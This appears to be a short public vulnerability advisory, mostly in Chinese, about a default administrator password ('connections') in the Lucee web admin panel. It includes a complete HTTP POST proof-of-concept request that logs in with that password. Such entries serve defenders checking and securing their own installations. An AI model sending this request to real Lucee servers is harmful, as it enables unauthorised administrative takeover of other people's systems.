Lucee /lucee/admin/web.cfm 默认口令漏洞

2026-03-09 Lucee PoC Public

Description

Lucee凭借对Java集成、HTTP、ORM和动态脚本的支持，被开发者广泛用于构建可扩展的高速应用程序。攻击者可通过默认口令漏洞控制整个平台，使用管理员权限操作核心的功能。其存在默认管理账户口令connections。

PoC

POST /lucee/admin/web.cfm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Connection: close
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

login_passwordweb=connections&lang=en&rememberMe=s&submit=submit

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Lucee /lucee/admin/web.cfm Default Password Vulnerability

References

Related Vulnerabilities